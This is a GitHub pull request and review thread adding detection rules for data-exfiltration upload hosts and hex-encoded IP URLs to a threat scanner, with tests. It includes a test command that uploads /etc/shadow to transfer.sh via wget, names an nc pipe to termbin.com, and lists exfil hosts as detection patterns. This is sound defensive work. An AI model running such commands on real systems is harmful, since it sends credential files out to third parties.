feat(threats): detect ephemeral file-upload hosts and hex-encoded IP URLs#41
feat(threats): detect ephemeral file-upload hosts and hex-encoded IP URLs#41AdamWen230 wants to merge 3 commits into
Conversation
…URLs Add CLT-URL-006 (data-exfil upload hosts: transfer.sh, file.io, temp.sh, bashupload.com, termbin.com, 0x0.st) and CLT-URL-007 (hex-encoded IP in URL, complementing CLT-URL-004's dotted-decimal coverage). Adds url-artifact support to the test createMatcher helper and a new url-threats.test.ts (20 cases, positive + FP-boundary negatives).
|
Hi AdamWen230, really nice work on this one. One fix required and one question before we merge: Fix: add a wget test for CLT-URL-006 branch 2 The pattern includes wget in the network-tool gate but none of the tests exercise it: it("detects bare-domain transfer.sh upload via wget", () => {
expect(matchCommand(engine, "wget https://transfer.sh/ --post-file /etc/shadow")).toContain("CLT-URL-006");
});Question: private-range handling in CLT-URL-007 CLT-URL-004 explicitly excludes loopback and RFC1918 ranges; CLT-URL-007 doesn't, so http://0x7f.0x0.0x0.0x1/ (hex-encoded 127.0.0.1) would match. Was that intentional? If so, a short comment in the YAML explaining the omission would help future maintainers, otherwise it looks like an oversight compared to CLT-URL-004. Happy to approve once the wget test is in and we've heard back on the IP range question. |
…-007 range scope - Add a bare-domain wget test exercising branch 2 of CLT-URL-006 (the network-tool gate), which no existing test covered. - Document in CLT-URL-007 why it intentionally does not exclude loopback/ RFC1918/link-local ranges (unlike CLT-URL-004): hex IP encoding has no legitimate use, so a hex-encoded private address is flagged on purpose. Also drop the 'SSRF evasion' wording from the title to match the personal-device threat model.
|
Vaclav Belak (@vaclavbelak) Thanks for the careful review! Both addressed in 1eeb8ae: wget test — added. One note: I used a bare-domain form ( IP range handling in CLT-URL-007 — intentional, and I've added a comment in the YAML explaining it. CLT-URL-004 excludes loopback/RFC1918/link-local because those addresses show up constantly in legitimate local dev in dotted-decimal form ( I also dropped the "SSRF evasion" wording from the title since this targets the personal-device threat model (C2/staging obfuscation), consistent with how CLT-URL-004 is framed. |
3 participants
What
Adds two URL threat rules:
http://0xcb.0x0.0x71.0x5/for 203.0.113.5), complementing CLT-URL-004's dotted-decimal coverage.Why
Design notes
[command, url]: termbin.com is used vianc termbin.com 9999with no URL scheme, so it never becomes aurlartifact. The pattern requires a scheme OR a network tool (nc/curl/wget) to avoid false-positives on local scripts named e.g.transfer.sh.0x(e.g. 0x0.st) is not misclassified as a hex IP.Tests
New
url-threats.test.ts— 20 cases (positive coverage for every host /hex form + negative cases locking the FP boundaries). Also addsurlartifact support to thecreateMatchertest helper, since URL rules previously had no heuristics-level unit coverage.